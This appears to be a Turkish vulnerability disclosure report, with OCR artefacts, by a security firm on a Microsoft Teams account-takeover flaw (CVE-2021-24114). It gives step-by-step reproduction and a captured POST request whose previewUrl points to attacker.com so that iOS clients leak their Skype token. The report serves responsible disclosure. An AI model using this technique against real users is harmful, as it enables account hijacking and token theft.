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2020, Gais Security, Tum haklar Saklidir. Bu belge timtiyle ya da kismen kopyalanamaz,
dagitilamaz ya da Gais Security'nin izni olmaksizin tglincl taraflarin degerlendirmesine agilamaz.
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1 Giris

Pandemi sureci ile birlikte uzaktan calismanin daha yogun oldugu bir ddneme gegis yapiimis
ve calisma aliskanliklari hizla degismistir. Yeni normal sirecle birlikte firmalarin kurumsal
sureclerini ydnetebilecegdi ve toplantilarini gerceklestirebilecedi haberlesme ve video
konferans uygulamalari kullanimi artmigtir.

Kurum hassas verilerini ve i¢ sureglerini paylastigi bu haberlesme uygulamalari da sagladigi
konforun yani sira bir ¢ok guvenlik riskini de binyesinde barindirmaktadir. Gais Cyber
Security olarak musterilerimizin siklikla kullandigi uygulamalari analiz ederek glvenlik
risklerinden haberdar etmekte ve ilgili uygulamanin guvenlik ekibi ile iletisime gecgerek
zafiyetin giderilmesi konusunda destek olmaktayiz. Bu siiregte son olarak Turkiye'de ve
dinyada siklikla kullanilan Microsoft Teams uygulamasini analiz ettik.

2 Zafiyet Raporu

2.1

Saldirgan tarafindan gonderilmis bir gorselin iPhone kullanicilari tarafindan goérintilenmesi
sonucunda istemciden direkt olarak goérselin goriintileme adresine gonderilen istek icerisinde
Skype Token degeri gonderilir ve bu token degeri kullanildiginda ilgili kullanicinin hesabi
devralinabilmektedir.

2.2

Microsoft Teams uygulamasi ¢apraz platform bir uygulama olarak farkli isletim sistemlerinde
analiz edilmis ve tespit edilen glivenlik acigi hem Android hem de iOS cihazlari etkilemektedir.
Android cihazlarda istemci IP adresi ifsasiyla sonuclanirken hesap devralma ile neticelenen
saldiri yalnizca iOS cihazlarda tetiklenmektedir.

Bir saldirgan sohbet lizerinde mesaj eki olarak bir goriinti génderdiginde, Teams bunu Skype
dosya yapisina yUklemektedir.

Yeni bir mesaj yazin
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Ekran Goriuntlist 1: Sohbete Ek Olarak Gorsel Yiklenmesi

Yukleme isleminden sonra, resmin 6n izleme adresini ve resimle ilgili bilgileri igeren ikinci bir
istek sisteme gonderilmektedir. Asagida gosterilen bu POST istegi icerigindeki JSON verisi
incelendiginde previewUrl parametresi ile 6nizleme adresinin génderildigi tespit edilmistir. ilgili
parametrenin aldigi URL dederi eu-api.asm.skype.com alan adina sahipken ilgili alan adi
degistirildiginde sistem tarafindan bu degisiklik tespit edilememektedir.
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Ekran Goriintiisii 2: POST isteginde iletilen JSON verisi

Request:

POST /v1/users/ME/conversations/19%3A141843a8-de6b-4526-bed8-

2468c07d172f a01fe356-d2b6-4d83-9359-6ff3e5al7ad3%40ung.gbl.spaces/messages
HTTP/1.1

Host: emea.ng.msg.teams.microsoft.com

Connection: close

Content-Length: 1419

sec-ch-ua: "Google Chrome";v="87", " Not;A Brand";v="99", "Chromium";v="87"
X-ms-session-id: 80cede4e-d42c-e909-3e29-856¢cc7e5f4be

BehaviorOverride: redirectAs404

X-ms-scenario-id: 286

x-ms-client-env: pckgsvc-prod-cl-euno-02

x-ms-client-type: web

sec-ch-ua-mobile: ?0

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/87.0.4280.88 Safari/537.36

Content-Type: application/json

Clientinfo: os=windows; osVer=10; proc=x86; Icid=en-us; deviceType=1; country=us;
clientName=skypeteams; clientVer=1415/1.0.0.2021011237; utcOffset=+03:00;
timezone=Europe/lIstanbul

Accept: json

x-ms-client-version: 1415/1.0.0.2021011237

X-ms-user-type: null

Authentication: skypetoken= {Skype Token}

Origin: https://teams.microsoft.com

Sec-Fetch-Site: same-site

Sec-Fetch-Mode: cors
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Sec-Fetch-Dest: empty

Referer: https://teams.microsoft.com/

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9,tr;q=0.8
{"content":"","messagetype":"Text","contenttype":"text","amsreferences":["0-weu-d6-
d2b090cd74408ff0b1286910cffcdcda"],"clientmessageid":"1298534495983039200","imdis
playname”:"numan
TAceRLE","properties":{"files":"[{\"@type\":\"http://schema.skype.com/File\" \"version\":2,\"i
d\":\"c7ba5c20-2796-4295-b531-cd8fbc7522ab\" \"baseUrl\":\"https://gaissecurity-
my.sharepoint.com/personal/numan_turle gaissecurity _com\" \"type\":\"png\",\"title\":\"11lin
ux.png\" \"state\":\"active\" \"objectUrI\":\"https://gaissecurity-
my.sharepoint.com/personal/numan_turle_gaissecurity_com/Documents/Microsoft Teams
Chat
Files/11linux.png\"\"providerData\":\"{\\"code\\":null,\\"type\\":0}\" \"itemid\":\"c7ba5c20-
2796-4295-b531-

cd8fbc7522ab\" \"fileName\":\"11llinux.png\" \"file Type\":\"png\" \"fileInfo\":{\"file Url\":\"https://
gaissecurity-

my.sharepoint.com/personal/numan_turle_gaissecurity _com/Documents/Microsoft Teams
Chat Files/11linux.png\" \"siteUrl\":\"https://gaissecurity-
my.sharepoint.com/personal/numan_turle_gaissecurity_com\"\"serverRelativeUrl\":\"/pers
onal/numan_turle_gaissecurity_com/Documents/Microsoft Teams Chat
Files/11linux.png\"},\"botFileProperties\":{},\"source OfFile\":3 \"file Preview\":{\"previewUrI\":\
"https://attacker.com/v1/objects/0-weu-d6-
d2b090cd74408ff0b1286910cffcdcdalviews/imgo\"},\"fileChicletState\":{\"serviceName\":\"p
2p\" \"state\":\"active\"}}]","importance":"","subject":null}}
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Yeni bir mesaj yazin
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Ekran Gorintisi 1.3: Gonderilen Gorselin Sohbette Onizleme Olarak Gériintiilenmesi

Saldirgan tarafindan previewUrl parametresi degistirilerek génderilmis resim, mobil kullanicilar
tarafindan gorintilendiginde; previewUrl parametresinin aldigi adres mobil uygulama
tarafindan guvenilir kabul edilerek istemci tarafindan ilgili adrese istek atiimaktadir. Saldirganin
duzenledigi adrese iOS kullanicilarindan gelen istek "Authentication: skypetoken=" basligi ile
gonderilmekte ve ilgili skypetoken degeri kullanilarak iOS kullanicilarinin hesaplari ele
gecirilebilmektedir.

3
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Teams uygulamasinda bir sohbet baslatilir.

Bir resim dosyasi ek olarak yuklenir.

Resim dosyasi yukleme iglemi tamamlandiktan sonra mesaj génderilmeden 6nce istek
bekletilir.

Yakalanan istekte bulunan previewUrl parametresi icerisindeki adres degistirilir.

Mobil uygulamadaki bir yapi1 gonderilen isteklerdeki /v1/objects alanini kontrol eder. Bu
yaplyl sémurebilmek icin previewUrl parametresinde dedistirilen deger bu sekilde
olmalidir:

https://attacker.com/v1/objects/0-weu-d6-
d2b090cd74408ff0b1286910cffcdcdalviews/imgo

Son adim olarak bir kullanicinin bu goérseli Teams iPhone mobil uygulamasindan
goruntulemesi beklenmektedir. Kullanici bu gorseli goruntuledigi anda Skype Token
bilgisi elde edilmektedir.

Android: istemci IP adresi ifsasi.
i0S: Skype Token bilgisi ifsasi (Hesap devralinmasina yol agmaktadir.)

Windows Masaustiu Uygulamasi: Herhangi bir etki gézlemlenmemistir.

3 Zaman Cizelgesi

15 Ocak 2021 - Zafiyetin tespit edilmesi

16 Ocak 2021 - Zafiyetin Microsoft’a bildiriimesi

6 Subat 2021 - Zafiyetin Microsoft tarafindan giderilmesi ve CVE-2021-24114 kodu atamasi
9 Subat 2021 - Zafiyetin Microsoft tarafindan duyurulmasi

4 Referanslar

https://www.linkedin.com/posts/gais-siber-g%C3%B Cvenlik-teknolojileri microsoft-teams-

account-takeover-activity-6765284039134900224-Y Z29

https://cve.mitre.org/cqi-bin/cvename.cqi?name=CVE-2021-24114

https://msrc.microsoft.com/update-quide/vulnerability/CVE-2021-24114
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